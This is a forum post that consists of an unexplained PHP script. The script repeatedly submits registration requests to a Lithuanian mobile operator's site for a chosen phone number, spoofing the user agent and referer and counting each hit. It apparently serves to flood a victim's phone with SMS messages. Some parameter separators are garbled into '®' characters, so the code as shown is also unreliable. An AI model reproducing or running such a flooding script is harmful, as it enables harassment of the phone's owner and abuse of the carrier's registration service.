Cyko |
Moderator |

 |
|
Joined: Jul 21, 2009 |
Posts: 375 |
|
|
|
 |
 |
 |
|
Code: | <?php
error_reporting(E_ALL);
ob_start();
$username = "admin";
$password = "blog";
$code = rand(300000, 1e+011);
$url = "http://www.cellxl.lt/registration/";
$url2 = "http://www.cellxl.lt/registration/";
$nr = "64190991";
if(!$nr)
{
$nr = $_GET['nr'];
}
$postdata = "reg_operator=3®_phone=370".$nr."®_agree=on®_step=2.1®_club=-1";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url2);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0(Windows; U; Windows NT 5.1; en-US; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6");
curl_setopt($ch, CURLOPT_TIMEOUT, 60);
curl_setopt($ch, CURLOPT_POSTFIELDS, $postdata);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_REFERER, "http://www.dos.lt/sms-10.html");
$result2 = curl_exec($ch);
$filename = "txt/Cb".$nr.".txt";
$fd = fopen($filename, "r");
$contents = fread($fd, filesize($filename));
fclose($fd);
$contents += 1;
$fp = fopen($filename, "w");
fwrite($fp, $contents);
fclose($fp);
echo "<font size=\"20\">".$contents."</font>";
?> |
|
|